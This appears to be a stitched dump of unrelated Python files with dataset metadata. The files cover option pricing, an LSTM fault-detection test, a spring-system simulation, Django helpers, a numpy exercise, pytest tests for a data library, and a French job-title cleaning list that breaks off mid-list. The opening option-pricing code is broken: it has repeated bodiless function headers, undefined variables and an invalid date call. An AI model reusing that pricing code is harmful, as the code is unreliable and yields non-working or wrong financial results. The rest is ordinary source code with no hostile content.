#IMPORT log and sqrt FROM math MODULE from math import log, sqrt, exp #IMPORT date AND timedelta FOR HANDLING EXPIRY TIMES from datetime import date, timedelta #IMPORT SciPy stats MODULE from scipy import stats def asian_vol_factor(valDate,startDate,endDate): #VALIDATE START DATE RELATIVE TO END DATE AND RETURN NO IMPACT IF ODD if startDate > endDate: return 1 T = (endDate - valDate).days() L = (endDate - startDate).days() if days_to_expiry > avg_period_length: return sqrt(((T - L + 1) * L ** 2 + L * (L - 1) * (2 * L - 1) / 6) / (L ** 2 * T)) else: return sqrt((T + 1) * (2*T + 1) / (6 * L ** 2)) def F(z): return (1/sqrt(2*pi)) * exp(-(z ** 2) / 2) def option_price_normal(forward,strike,vol,rate,tenor,sign): if vol == 0: return sign * (forward - strike) #sign = +1 for calls and -1 for puts d1 = (forward - strike) / (vol * sqrt(tenor)) sameTerm = (vol * sqrt(tenor) * exp(-1*d1*d1/2)) / sqrt(2*3.141592653589793) return exp(-1 * rate * tenor) * (sign * (forward - strike) * stats.norm.cdf(sign * d1) + sameTerm) def option_price_normal(forward,strike,vol,rate,tenor,sign): def option_price_normal(forward,strike,vol,rate,tenor,sign): def option_price_normal(forward,strike,vol,rate,tenor,sign): def option_implied_vol_normal(forward,strike,price,rate,tenor,sign): #print 'imp vol calc:',forward,strike,price,rate,tenor,sign price_err_limit = price/10000 iteration_limit = 20 vmax = 1.0 #START SEARCH FOR UPPER VOL BOUND AT 100% tprice = 0 while option_price(forward,strike,vmax,rate,tenor,sign) < price: vmax += 1 if vmax > iteration_limit: return -1 #ERROR CONDITION #print 'vmax',vmax vmin = vmax - 1 vmid = (vmin + vmax)/2 tprice = option_price(forward,strike,vmid,rate,tenor,sign) count = 1 while abs(tprice - price) > price_err_limit: if tprice > price: vmax = vmid else: vmin = vmid vmid = (vmin + vmax)/2 count = count + 1 if count > iteration_limit: print 'option_implied_vol: search iter limit reached' print forward,strike,price,rate,tenor,sign return vmid #EXIT CONDITION tprice = option_price_normal(forward,strike,vmid,rate,tenor,sign) #print 'imp_vol = ',vmid return vmid

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104

0.640559

346

2,362

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0.260116

0.114035

0.096491

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0.25641

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0.238781

2,362

60

105

39.366667

0.788654

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null

0

0.06383

null

0.042553

0

null

0

null

0

1

0

1

a1946a453629c94f8bc3d4a45b2c968101db6df0

1,546

py

Python

CatFaultDetection/LSTM/Test_LSTM.py

jonlwowski012/UGV-Wheel-Slip-Detection-Using-LSTM-and-DNN

2af5dcf4c3b043f065f75b612a4bbfc4aa2d11e8

[ "Apache-2.0" ]

null

CatFaultDetection/LSTM/Test_LSTM.py

jonlwowski012/UGV-Wheel-Slip-Detection-Using-LSTM-and-DNN

2af5dcf4c3b043f065f75b612a4bbfc4aa2d11e8

[ "Apache-2.0" ]

null

CatFaultDetection/LSTM/Test_LSTM.py

jonlwowski012/UGV-Wheel-Slip-Detection-Using-LSTM-and-DNN

2af5dcf4c3b043f065f75b612a4bbfc4aa2d11e8

[ "Apache-2.0" ]

null

import numpy as np from scipy.misc import imread, imsave, imresize from keras.models import model_from_json from os.path import join import matplotlib.pyplot as plt import pandas as pd import time def shuffler(filename): df = pd.read_csv(filename, header=0) # return the pandas dataframe return df.reindex(np.random.permutation(df.index)) num_classes = 4 # Read Dataset data = pd.read_csv('../dataset/fault_dataset.csv') data = shuffler('../dataset/fault_dataset.csv') X = np.asarray(data[['posex','posey','orix','oriy','oriz','oriw']]) y_norm = np.asarray(data['labels']) y = np.zeros((len(y_norm), num_classes)) y[np.arange(len(y_norm)), y_norm] = 1 # Define Paths and Variables model_dir = 'model' #%% Load model and weights separately due to error in keras model = model_from_json(open(model_dir+"/model_weights.json").read()) model.load_weights(model_dir+"/model_weights.h5") #%% Predict Output t0 = time.time() output_org = model.predict(np.reshape(X, (X.shape[0], 1, X.shape[1]))) print "Time to predict all ", len(X), " samples: ", time.time()-t0 print "Average time to predict a sample: ", (time.time()-t0)/len(X) output = np.zeros_like(output_org) output[np.arange(len(output_org)), output_org.argmax(1)] = 1 correct = 0 for i in range(len(output)): if np.array_equal(output[i],y[i]): correct += 1 print "Acc: ", correct/float(len(output)) output_index = [] for row in output: output_index.append(np.argmax(row)) plt.plot(y_norm, color='red',linewidth=3) plt.plot(output_index, color='blue', linewidth=1) plt.show()

28.109091

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1,546

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null

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null

0.081081

0

null

0

null

0

1

0

1

a194bf4b74105b49a6100082214a932f48fe4c3d

3,304

py

Python

examples/spring_system.py

tkoziara/parmec

fefe0586798cd65744334f9abeab183159bd3d7a

[ "MIT" ]

null

examples/spring_system.py

tkoziara/parmec

fefe0586798cd65744334f9abeab183159bd3d7a

[ "MIT" ]

15

2017-06-09T12:05:27.000Z

2018-10-25T13:59:58.000Z

examples/spring_system.py

parmes/parmec

fefe0586798cd65744334f9abeab183159bd3d7a

[ "MIT" ]

null

# find parmec path import os, sys def where(program): for path in os.environ["PATH"].split(os.pathsep): if os.path.exists(os.path.join(path, program)): return path return None path = where('parmec4') if path == None: print 'ERROR: parmec4 not found in PATH!' print ' Download and compile parmec;', print 'add parmec directory to PATH variable;' sys.exit(1) print '(Found parmec4 at:', path + ')' sys.path.append(os.path.join (path, 'python')) from progress_bar import * # and import progress bar from scipy import spatial # import scipy import numpy as np # and numpy # command line arguments av = ARGV() if '-h' in av or '--help' in av: print 'Beam-like spring-system example:', print 'cantilever beam fixed at x-far-end' print 'Unit cubes interact via springs', print 'connected within a radius of influence' print 'Available arguments:' print ' -nx int --> x resolution (or 10)' print ' -ny int --> y resolution (or 5)' print ' -nz int --> z resolution (or 5)' print ' -du float --> duration (or 5.)' print ' -st float --> time step (or auto)' print ' -ra float --> spring influence radius (or 2.)' print ' -h or --help --> print this help' sys.exit(0) # input parameters nx = int(av[av.index('-nx')+1]) if '-nx' in av else 10 ny = int(av[av.index('-ny')+1]) if '-ny' in av else 5 nz = int(av[av.index('-nz')+1]) if '-nz' in av else 5 du = float(av[av.index('-du')+1]) if '-du' in av else 5. st = float(av[av.index('-st')+1]) if '-st' in av else -1 ra = float(av[av.index('-ra')+1]) if '-ra' in av else 2. # materials matnum = MATERIAL (1E3, 1E9, 0.25) spring = [-1,-1E6, 1,1E6] dratio = 10. # (nx,ny,nz) array of unit cubes iend = nx*ny*nz-1 progress_bar(0, iend, 'Adding particles:') x, y, z = np.mgrid[0:nx, 0:ny, 0:nz] data = zip(x.ravel(), y.ravel(), z.ravel()) datarange = range (0, len(data)) for i in datarange: p = data[i] nodes = [p[0]-.5, p[1]-.5, p[2]-.5, p[0]+.5, p[1]-.5, p[2]-.5, p[0]+.5, p[1]+.5, p[2]-.5, p[0]-.5, p[1]+.5, p[2]-.5, p[0]-.5, p[1]-.5, p[2]+.5, p[0]+.5, p[1]-.5, p[2]+.5, p[0]+.5, p[1]+.5, p[2]+.5, p[0]-.5, p[1]+.5, p[2]+.5] elements = [8, 0, 1, 2, 3, 4, 5, 6, 7, matnum] parnum = MESH (nodes, elements, matnum, 0) progress_bar(i, iend, 'Adding particles:') # connecting springs within radius def add(a,b): return (a[0]+b[0],a[1]+b[1],a[2]+b[2]) def mul(a,b): return (a[0]*b,a[1]*b,a[2]*b) progress_bar(0, iend, 'Adding springs:') tree = spatial.KDTree(data) for i in datarange: p = data[i] adj = tree.query_ball_point(np.array(p), ra) for j in [k for k in adj if k < i]: q = data[j] x = mul(add(p,q),.5) sprnum = SPRING (i, x, j, x, spring, dratio) progress_bar(i, iend, 'Adding springs:') # fixed at x-far-end for i in datarange[-ny*nz:]: RESTRAIN (i, [1,0,0,0,1,0,0,0,1], [1,0,0,0,1,0,0,0,1]) # gravity acceleration GRAVITY (0., 0., -9.8) # time step hc = CRITICAL(perparticle=10) if st < 0: st = 0.5 * hc[0][0] # print out statistics print '%dx%dx%d=%d particles and %d springs' % (nx,ny,nz,parnum,sprnum) print '10 lowest-step per-particle tuples (critical step, particle index, circular frequency, damping ratio):' print hc print 'Running %d steps of size %g:' % (int(du/st),st) # run simulation DEM (du, st, (0.05, 0.01))

32.07767

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0.608656

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3,304

3.191083

0.269108

0.022954

0.011976

0.015968

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3,304

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0

null

0

null

0

1

0

1

a196cc5f96a8b93a3bb1cc5156a3a6b18c755ee7

9,491

py

Python

apps/core/helpers.py

tarvitz/icu

9a7cdac9d26ea224539f68f678b90bf70084374d

[ "BSD-3-Clause" ]

1

2022-03-12T23:44:21.000Z

apps/core/helpers.py

tarvitz/icu

9a7cdac9d26ea224539f68f678b90bf70084374d

[ "BSD-3-Clause" ]

null

apps/core/helpers.py

tarvitz/icu

9a7cdac9d26ea224539f68f678b90bf70084374d

[ "BSD-3-Clause" ]

null

# coding: utf-8 # import re import os from django.conf import settings from django.shortcuts import ( render_to_response, get_object_or_404 as _get_object_or_404, redirect) from django.http import HttpResponse, HttpResponseRedirect from django.template import RequestContext from django.contrib.contenttypes.models import ContentType from django.core.exceptions import ObjectDoesNotExist, MultipleObjectsReturned from django.utils.translation import ugettext_lazy as _, ugettext as tr from django.http import Http404 from datetime import datetime, time, date import simplejson as json def get_top_object_or_None(Object, *args, **kwargs): if hasattr(Object, 'objects'): obj = Object.objects.filter(*args, **kwargs) else: obj = Object.filter(*args, **kwargs) if obj: return obj[0] return None def get_object_or_None(Object, *args, **kwargs): try: return _get_object_or_404(Object, *args, **kwargs) except (Http404, MultipleObjectsReturned): return None def get_object_or_404(Object, *args, **kwargs): """Retruns object or raise Http404 if it does not exist""" try: if hasattr(Object, 'objects'): return Object.objects.get(*args, **kwargs) elif hasattr(Object, 'get'): return Object.get(*args, **kwargs) else: raise Http404("Giving object has no manager instance") except (Object.DoesNotExist, Object.MultipleObjectReturned): raise Http404("Object does not exist or multiple object returned") def get_content_type(Object): """ works with ModelBase based classes, its instances and with format string 'app_label.model_name', also supports sphinx models and instances modification source taken from warmist helpers source retrieves content_type or raise the common django Exception Examples: get_content_type(User) get_content_type(onsite_user) get_content_type('auth.user') """ if callable(Object): # class model = Object._meta.module_name app_label = Object._meta.app_label #model = Object.__name__.lower() #app_label = (x for x in reversed( # Object.__module__.split('.')) if x not in 'models').next() elif hasattr(Object, 'pk'): # class instance if hasattr(Object, '_sphinx') or hasattr(Object, '_current_object'): model = Object._current_object._meta.module_name app_label = Object._current_object._meta.app_label #app_label = (x for x in reversed( # Object._current_object.__module__.split('.')) \ #if x not in 'models').next() #model = Object._current_object.__class__.__name__.lower() else: app_label = Object._meta.app_label model = Object._meta.module_name #app_label = (x for x in reversed(Object.__module__.split('.')) \ #if x not in 'models').next() #model = Object.__class__.__name__.lower() elif isinstance(Object, basestring): app_label, model = Object.split('.') ct = ContentType.objects.get(app_label=app_label, model=model) return ct def get_content_type_or_None(Object): try: return get_content_type(Object) except: return None def get_content_type_or_404(Object): try: return get_content_type(Object) except: raise Http404 def get_form(app_label, form_name): """ retrieve form within app_label and form_name given set""" pass def ajax_response(dt): _errors = [] if 'errors' in dt: for key in errors.keys(): _errors.append({'key': key, 'msg': errors[key]}) dt.update({'errors': _errors}) dt.update({'status': 200}) return dt def generate_safe_value(value, regex): if isinstance(regex, str): regex = re.compile(regex, re.U | re.I) match = regex.match(value or '') if match: return match.group() return None def make_http_response(**kw): response = HttpResponse(status=kw.get('status', 200)) response['Content-Type'] = kw.get('content_type', 'text/plain') if 'content' in kw: response.write(kw['content']) return response def make_response(type='json', **kw): response = HttpResponse(status=kw.get('status', 200)) if type in ('json', 'javascript', 'js'): response['Content-Type'] = 'text/javascript' else: response['Content-Type'] = 'text/plain' return response def ajax_form_errors(errors): """ returns form errors as python list """ errs = [{'key': k, 'msg': unicode(errors[k])} for k in errors.keys()] #equivalent to #for k in form.errors.keys(): # errors.append({'key': k, 'msg': unicode(form.errors[k])}) return errs def paginate(Obj, page, **kwargs): from django.core.paginator import InvalidPage, EmptyPage from apps.core.diggpaginator import DiggPaginator as Paginator pages = kwargs['pages'] if 'pages' in kwargs else 20 if 'pages' in kwargs: del kwargs['pages'] paginator = Paginator(Obj, pages, **kwargs) try: objects = paginator.page(page) except (InvalidPage, EmptyPage): objects = paginator.page(1) objects.count = pages # objects.end_index() - objects.start_index() +1 return objects def model_json_encoder(obj, **kwargs): from django.db.models.base import ModelState from django.db.models import Model from django.db.models.query import QuerySet from decimal import Decimal from django.db.models.fields.files import ImageFieldFile is_human = kwargs.get('parse_humanday', False) if isinstance(obj, QuerySet): return list(obj) elif isinstance(obj, Model): dt = obj.__dict__ #obsolete better use partial fields = ['_content_type_cache', '_author_cache', '_state'] for key in fields: if key in dt: del dt[key] #normailize caches disable_cache = kwargs['disable_cache'] \ if 'disable_cache' in kwargs else False # disable cache if disable_cache given for key in dt.keys(): if '_cache' in key and key.startswith('_'): if not disable_cache: dt[key[1:]] = dt[key] #delete cache del dt[key] if disable_cache and '_cache' in key: del dt[key] #delete restriction fields if kwargs.get('fields_restrict'): for f in kwargs.get('fields_restrict'): if f in dt: del dt[f] #make week more humanic if is_human and 'week' in dt: dt['week'] = unicode(humanday(dt['week'])) return dt elif isinstance(obj, ModelState): return 'state' elif isinstance(obj, datetime): return [ obj.year, obj.month, obj.day, obj.hour, obj.minute, obj.second, obj.isocalendar()[1] ] elif isinstance(obj, date): return [obj.year, obj.month, obj.day] elif isinstance(obj, time): return obj.strftime("%H:%M") elif isinstance(obj, ImageFieldFile): return obj.url if hasattr(obj, 'url') else '' #elif isinstance(obj, Decimal): # return float(obj) return obj def get_model_instance_json(Obj, id): instance = get_object_or_None(Obj, id=id) response = make_http_response(content_type='text/javascript') if not instance: response.write(json.dumps({ 'success': False, 'error': unicode(_("Not found")), }, default=model_json_encoder)) return response response.write(json.dumps({ 'success': True, 'instance': instance, }, default=model_json_encoder)) return response def create_path(path): try: os.stat(path) except OSError, e: if e.errno == 2: os.makedirs(path) else: pass return path def get_safe_fields(lst, Obj): """ excludes fields in given lst from Object """ return [ field.attname for field in Obj._meta.fields if field.attname not in lst ] #decorators def render_to(template, content_type='text/html'): def decorator(func): def wrapper(request, *args, **kwargs): dt = func(request, *args, **kwargs) if 'redirect' in dt: return redirect(dt['redirect']) if content_type.lower() == 'text/html': return render_to_response( template, dt, context_instance=RequestContext(request)) elif content_type.lower() in ['text/json', 'text/javascript']: response = HttpResponse() response['Content-Type'] = content_type tmpl = get_template(template) response.write(tmpl.render(Context(dt))) return response else: return render_to_response( template, dt, context_instance=RequestContext(request)) return wrapper return decorator def ajax_response(func): def wrapper(request, *args, **kwargs): dt = func(request, *args, **kwargs) response = make_http_response(content_type='text/javascript') response.write(json.dumps(dt, default=model_json_encoder)) return response return wrapper

32.282313

78

0.623011

1,153

9,491

4.960104

0.217693

0.040392

0.022032

0.009792

0.244448

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0.169785

0.137087

0.072915

0

0.007361

0.270045

9,491

293

79

32.392491

0.818129

0.085555

0

0.278302

0

0.073177

0

null

0.009434

0.089623

null

0

null

0

null

0

1

0

1

a196d336d93a22ab16f1f21a1b3e7182f45daa9b

536

py

Python

Python/Numpy/Shape and Reshape/shape_and_reshape.py

brianchiang-tw/HackerRank

02a30a0033b881206fa15b8d6b4ef99b2dc420c8

[ "MIT" ]

2

2020-05-28T07:15:00.000Z

2020-07-21T08:34:06.000Z

Python/Numpy/Shape and Reshape/shape_and_reshape.py

brianchiang-tw/HackerRank

02a30a0033b881206fa15b8d6b4ef99b2dc420c8

[ "MIT" ]

null

Python/Numpy/Shape and Reshape/shape_and_reshape.py

brianchiang-tw/HackerRank

02a30a0033b881206fa15b8d6b4ef99b2dc420c8

[ "MIT" ]

null

import numpy as np from typing import List def reshpare_to_square_matrix( seq:List)->None: square_matrix = np.array( seq ) # reshpae to square matrix square_matrix.shape = (3,3) return square_matrix if __name__ == '__main__': int_sequence = list( map( int, input().split() ) ) # Method_#1 #sq_matrix = reshpare_to_square_matrix( int_sequence ) #print( sq_matrix ) # Method_#2 sq_matrix = np.array( int_sequence ) sq_matrix = np.reshape( sq_matrix, (3,3) ) print( sq_matrix )

20.615385

58

0.660448

75

536

4.346667

0.44

0.220859

0.128834

0.134969

0

0.014599

0.233209

536

25

59

21.44

0.778589

0.210821

0

0.019277

0

1

0.090909

false

0

0.181818

0

0.363636

0.090909

0

null

1

0

null

0

1

a19804bd039dd872f53c4d69a22088d534d74c39

8,153

py

Python

tests/core/test_factory.py

pdwaggoner/datar

a03f1c0ca0de1270059178e59cea151a51a6e7aa

[ "MIT" ]

null

tests/core/test_factory.py

pdwaggoner/datar

a03f1c0ca0de1270059178e59cea151a51a6e7aa

[ "MIT" ]

null

tests/core/test_factory.py

pdwaggoner/datar

a03f1c0ca0de1270059178e59cea151a51a6e7aa

[ "MIT" ]

null

import inspect import pytest import numpy as np from datar.core.backends.pandas import Categorical, DataFrame, Series from datar.core.backends.pandas.testing import assert_frame_equal from datar.core.backends.pandas.core.groupby import SeriesGroupBy from datar.core.factory import func_factory from datar.core.tibble import ( SeriesCategorical, SeriesRowwise, TibbleGrouped, TibbleRowwise, ) from datar.tibble import tibble from ..conftest import assert_iterable_equal def test_transform_default(): @func_factory("transform", "x") def double(x): return x * 2 # scalar out = double(3) assert out[0] == 6 out = double(np.array([1, 2], dtype=int)) assert_iterable_equal(out, [2, 4]) @func_factory("transform", "x") def double(x): return x * 2 out = double([1, 2]) assert_iterable_equal(out, [2, 4]) # default on series x = Series([2, 3], index=["a", "b"]) out = double(x) assert isinstance(out, Series) assert_iterable_equal(out.index, ["a", "b"]) assert_iterable_equal(out, [4, 6]) # default on dataframe x = DataFrame({"a": [3, 4]}) out = double(x) assert isinstance(out, DataFrame) assert_iterable_equal(out.a, [6, 8]) # default on seriesgroupby x = Series([1, 2, 1, 2]).groupby([1, 1, 2, 2]) out = double(x) assert isinstance(out, SeriesGroupBy) assert_iterable_equal(out.obj, [2, 4, 2, 4]) assert out.grouper.ngroups == 2 # on tibble grouped x = tibble(x=[1, 2, 1, 2], g=[1, 1, 2, 2]).group_by("g") out = double(x) # grouping variables not included assert_iterable_equal(out.x.obj, [2, 4, 2, 4]) x = tibble(x=[1, 2, 1, 2], g=[1, 1, 2, 2]).rowwise("g") out = double(x) assert isinstance(out, TibbleRowwise) assert_frame_equal(out, out._datar["grouped"].obj) assert_iterable_equal(out.x.obj, [2, 4, 2, 4]) assert_iterable_equal(out.group_vars, ["g"]) def test_transform_register(): @func_factory(kind="transform", data_args="x") def double(x): return x * 2 @double.register(DataFrame) def _(x): return x * 3 x = Series([2, 3]) out = double(x) assert_iterable_equal(out, [4, 6]) double.register(Series, lambda x: x * 4) out = double(x) assert_iterable_equal(out, [8, 12]) x = tibble(a=[1, 3]) out = double(x) assert_iterable_equal(out.a, [3, 9]) out = double([1, 4]) assert_iterable_equal(out, [4, 16]) # register an available string func for tranform double.register(SeriesGroupBy, "sum") x = Series([1, -2]).groupby([1, 2]) out = double(x) assert_iterable_equal(out.obj, [1, -2]) # seriesrowwise double.register(SeriesRowwise, lambda x: x + 1) x.is_rowwise = True out = double(x) assert_iterable_equal(out.obj, [2, -1]) assert out.is_rowwise def test_transform_hooks(): @func_factory(kind="transform", data_args="x") def times(x, t): return x * t with pytest.raises(ValueError): times.register(Series, meta=False, pre=1, func=None) times.register( Series, func=None, pre=lambda x, t: (x, (-t,), {}), post=lambda out, x, t: out + t, ) x = Series([1, 2]) out = times(x, -1) assert_iterable_equal(out, [2, 3]) @times.register(Series, meta=False) def _(x, t): return x + t out = times(x, 10) assert_iterable_equal(out, [11, 12]) @times.register(SeriesGroupBy, meta=True) def _(x, t): return x + 10 x = Series([1, 2, 1, 2]).groupby([1, 1, 2, 2]) out = times(x, 1) assert_iterable_equal(out.obj, [11, 12, 11, 12]) times.register( SeriesGroupBy, func=None, pre=lambda x, t: (x, (t + 1,), {}), post=lambda out, x, *args, **kwargs: out, ) out = times(x, 1) assert_iterable_equal(out, [2, 4, 2, 4]) times.register( Series, func=None, pre=lambda *args, **kwargs: None, post=lambda out, x, t: out + t, ) x = Series([1, 2]) out = times(x, 3) assert_iterable_equal(out, [4, 5]) @times.register(DataFrame, meta=True) def _(x, t): return x ** t x = tibble(a=[1, 2], b=[2, 3]) out = times(x, 3) assert_iterable_equal(out.a, [1, 8]) assert_iterable_equal(out.b, [8, 27]) # TibbleGrouped times.register( TibbleGrouped, func=None, pre=lambda x, t: (x, (t - 1,), {}), post=lambda out, x, t: out.reindex([1, 0]), ) x = x.group_by("a") out = times(x, 3) assert_iterable_equal(out.b, [6, 4]) @times.register( TibbleGrouped, meta=False, ) def _(x, t): out = x.transform(lambda d, t: d * t, 0, t - 1) out.iloc[0, 1] = 10 return out # x = tibble(a=[1, 2], b=[2, 3]) # grouped by a out = times(x, 3) assert isinstance(out, TibbleGrouped) assert_iterable_equal(out.group_vars, ["a"]) assert_iterable_equal(out.b.obj, [10, 6]) def test_agg(): men = func_factory( "agg", "a", name="men", func=np.mean, signature=inspect.signature(lambda a: None), ) x = [1, 2, 3] out = men(x) assert out == 2.0 x = Series([1, 2, 3]) out = men(x) assert out == 2.0 # SeriesGroupBy men.register(SeriesGroupBy, func="mean") x = Series([1, 2, 4]).groupby([1, 2, 2]) out = men(x) assert_iterable_equal(out.index, [1, 2]) assert_iterable_equal(out, [1.0, 3.0]) # SeriesRowwise df = tibble(x=[1, 2, 4]).rowwise() out = men(df.x) assert_iterable_equal(out, df.x.obj) men.register(SeriesRowwise, func="sum") out = men(df.x) assert_iterable_equal(out.index, [0, 1, 2]) assert_iterable_equal(out, [1.0, 2.0, 4.0]) # TibbleRowwise x = tibble(a=[1, 2, 3], b=[4, 5, 6]).rowwise() out = men(x) assert_iterable_equal(out, [2.5, 3.5, 4.5]) # TibbleGrouped x = tibble(a=[1, 2, 3], b=[4, 5, 5]).group_by("b") out = men(x) assert_iterable_equal(out.a, [1.0, 2.5]) def test_varargs_data_args(): @func_factory("agg", {"x", "args[0]"}) def mulsum(x, *args): return (x + args[0]) * args[1] out = mulsum([1, 2], 2, 3) assert_iterable_equal(out, [9, 12]) @func_factory("agg", {"x", "args"}) def mulsum(x, *args): return x + args[0] + args[1] out = mulsum([1, 2], [1, 2], [2, 3]) assert_iterable_equal(out, [4, 7]) def test_dataargs_not_exist(): fun = func_factory("agg", "y")(lambda x: None) with pytest.raises(ValueError): fun(1) def test_args_frame(): @func_factory("agg", {"x", "y"}) def frame(x, y, __args_frame=None): return __args_frame out = frame(1, 2) assert_iterable_equal(sorted(out.columns), ["x", "y"]) def test_args_raw(): @func_factory("agg", {"x"}) def raw(x, __args_raw=None): return x, __args_raw["x"] outx, rawx = raw(1) assert isinstance(outx, Series) assert rawx == 1 def test_apply(): @func_factory("apply", "x") def rn(x): return tibble(x=[1, 2, 3]) x = tibble(a=[1, 2], b=[2, 3]).rowwise() out = rn(x) assert out.shape == (2,) assert out.iloc[0].shape == (3, 1) def test_no_func_registered(): fun = func_factory("agg", "x", func=lambda x: None) with pytest.raises(ValueError): fun.register(SeriesGroupBy, func=None, meta=False) def test_run_error(): @func_factory("agg", "x") def error(x): raise RuntimeError with pytest.raises(ValueError, match="registered function"): error(1) def test_series_cat(): @func_factory("agg", "x") def sum1(x): return x.sum() @sum1.register(SeriesCategorical) def _(x): return x[0] out = sum1([1, 2]) assert out == 3 out = sum1(Categorical([1, 2])) assert out == 1 def test_str_fun(): sum2 = func_factory( "agg", "x", name="sum2", qualname="sum2", func="sum", signature=inspect.signature(lambda x: None), ) assert sum2([1, 2, 3]) == 6

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Python

job_title_processing/ressources_txt/FR/cleaner/job.py

OnlineJobVacanciesESSnetBigData/JobTitleProcessing_FR

d5cf340e1a57d84562705a92b213333875be21f7

[ "MIT" ]

3

2020-10-25T17:44:50.000Z

2021-12-11T22:28:18.000Z

job_title_processing/ressources_txt/FR/cleaner/job.py

OnlineJobVacanciesESSnetBigData/JobTitleProcessing_FR

d5cf340e1a57d84562705a92b213333875be21f7

[ "MIT" ]

null

job_title_processing/ressources_txt/FR/cleaner/job.py

OnlineJobVacanciesESSnetBigData/JobTitleProcessing_FR

d5cf340e1a57d84562705a92b213333875be21f7

[ "MIT" ]

1

2020-11-19T12:44:25.000Z

# -*- coding: utf-8 -*- jobwords = [ 'nan', 'temps plein', 'temps complet', 'mi temps', 'temps partiel', # Part / Full time 'cherche', # look for 'urgent','rapidement', 'futur', 'job', 'offre', # Job offer 'trice', 'ère', 'eur', 'euse', 're', 'se', 'ème', 'trices', # Female endings 'ères', 'eurs', 'euses', 'res', 'fe', 'fes',# Female endings 've', 'ne', 'iere', 'rice', 'te', 'er', 'ice', 'ves', 'nes', 'ieres', 'rices', "tes", 'ices', # Female endings 'hf', 'fh', # Male/Female, Female/Male 'semaine', 'semaines', 'sem', 'h', 'heure', 'heures', 'hebdo', 'hebdomadaire', # Time (week, hour) 'année', 'mois', 'an', # Year 'jour', 'jours', # Day 'été', 'automne', 'hiver', 'printemps', # summer, winter ... 'lundi', 'mardi', 'mercredi', 'jeudi', 'vendredi', 'samedi', 'dimanche', # Week day 'janvier', 'février', 'mars', 'avril', 'mai', 'juin', # Month 'juillet', 'aout', 'septembre', 'octobre', 'novembre', 'décembre', "deux", "trois", "quatre", "cinq", "six", "sept", # Number "huit", "neuf", "dix", "onze", # Number "euros", "euro", "dollars", "dollar", # Money "super", # Pour éviter "super poids lourd" # To clean 'caces', 'cap', 'bts', 'dea', 'diplôme', 'bac', "taf", "ref", "poste", "pourvoir", "sein", "profil", "possible", 'indépendant', 'saisonnier', 'alternance', 'alternant', 'apprenti', 'apprentissage', 'stagiaire', 'étudiant', 'fonctionnaire', 'intermittent', 'élève', 'freelance', "professionnalisation", 'partiel', 'cdd', 'cdi', 'contrat', 'pro', "fpe", # Fonction publique d'état 'débutant', 'expérimenté', 'junior', 'senior', 'confirmé', 'catégorie', 'trilingue', 'bilingue', 'bi','international', 'france', 'national', 'régional', 'européen', 'emploi', 'non', 'exclusif', 'uniquement', 'permis', 'ssiap', 'bnssa', ] job_replace_infirst = { '3 d' : 'troisd', '3d':'troisd', '2 d': 'deuxd', '2d':'deuxd', 'b to b': 'btob' } job_lemmas_expr = { 'cours particulier' : 'professeur', 'call center' : 'centre appels', 'vl pl vu' : 'poids lourd', 'front end' : 'informatique', 'back end' : 'informatique', 'homme femme' : '', 'femme homme' : '' } job_normalize_map = [ ("indu", "industriel"), ("pl","poids lourd"), ("spl","poids lourd"), ("sav","service après vente"), ("unix","informatique"), ("windows","informatique"), ("php","informatique"), ("java","informatique"), ("python","informatique"), ("jee","informatique"), ("sap","informatique"), ("abap","informatique"), ("ntic","informatique"), # ("c","informatique"), ("rh","ressources humaines"), ("vrd","voirie réseaux divers"), ("super poids lourd","poids lourd"), ("adv","administration des ventes"), ("cvv","chauffage climatisation"), ("agt","agent"), ("ash","agent des services hospitaliers"), ("ibode","infirmier de bloc opératoire"), ("aes","accompagnant éducatif et social"), ("ads","agent de sécurité"), ("amp","aide médico psychologique"), ("asvp","agent de surveillance des voies publiques"), ("cesf","conseiller en économie sociale et familiale"), ("babysitter","baby sitter"), ("babysitting","baby sitter"), ("sitting","sitter"), ("nounou", "nourrice"), ("coaching","coach"), ("webdesigner","web designer"), ("webmarketer","web marketer"), ("helpdesk","help desk"), ("prof","professeur"), ("maths", "mathématiques"), ("géo", "géographie"), ("philo", "philosophie"), ("epr","employe polyvalent de restauration"), ("NTIC","Informatique"), ("SIG","Systèmes d Information Géographique "), ("EPSCP","établissement public à caractère scientifique, culturel et professionnel "), ("NRBC","Nucléaire, Radiologique, Bactériologique, Chimique "), ("SAV","Service après vente"), ("ACIM ","Agent des Cabinets en Imagerie Médicale "), ("ASC","Agent des Services Commerciaux"), ("AEC","Agent d Escale Commerciale"), ("ASEM","Agent spécialisé des écoles maternelles "), ("TIC","Informatique"), ("HSE","Hygiène Sécurité Environnement "), ("ATER","Attaché temporaire d enseignement et de recherche "), ("AVS","Auxiliaire de Vie Sociale "), ("AIS","Auxiliaire d Intégration Scolaire"), ("ASV","Auxiliaire Spécialisé Vétérinaire "), ("AVQ","Auxiliaire Vétérinaire Qualifié"), ("IARD","Incendie, Accidents, Risques Divers "), ("NBC","Nucléaire, Bactériologique et Chimique"), ("PGC","Produits de Grande Consommation "), ("PNT","Personnel Navigant Technique "), ("PAO","Publication Assistée par Ordinateur"), ("TTA","toute arme"), ("VRD","Voiries et Réseaux Divers"), ("CMS","Composants Montés en Surface "), ("VSL","Véhicule Sanitaire Léger"), ("CIP","Conseiller d Insertion et de Probation "), ("CND","Contrôle Non Destructif "), ("MOA","Maîtrise d Ouvrage"), ("OPC","Ordonnancement, Pilotage et Coordination de chantier"), ("SPS","Sécurité, Protection de la Santé "), ("DAF","Directeur administratif et financier"), ("CHU","Centre Hospitalier Universitaire "), ("GSB","Grande Surface de Bricolage "), ("GSS","Grande Surface Spécialisée "), ("DOSI","Directeur de l Organisation et des Systèmes d Information "), ("ESAT","entreprise ou de Service d Aide par le Travail "), ("DRH","Directeur des Ressources Humaines "), ("DSI","Directeur des services informatiques "), ("DSPIP","Directeur des services pénitentiaires d insertion et de probation "), ("EPA","Etablissement Public à caractère Administratif "), ("EPST","Etablissement Public à caractère Scientifique et Technologique "), ("EPCC","Etablissement Public de Coopération Culturelle "), ("EPIC","Etablissement Public et Commercial "), ("IFSI","Institut de formation en soins infirmiers"), ("MAS","Machines à Sous "), ("SCOP","Société Coopérative Ouvrière de Production"), (" EVS","Employée du Service Après Vente "), ("EVAT","Engagée Volontaire de l Armée de Terre "), ("EV","Engagé Volontaire "), ("GIR","Groupement d Individuels Regroupés "), ("CN","Commande Numérique "), ("SICAV","Société d Investissement à Capital Variable "), ("OPCMV","Organisme de Placement Collectif en Valeurs Mobilières "), ("OPCVM","Organisme de Placement Collectif en Valeurs Mobilières "), ("IADE","Infirmier Anesthésiste Diplômé d Etat "), ("IBODE","Infirmier de bloc opératoire Diplômé d Etat "), ("CTC","contrôle technique de construction "), 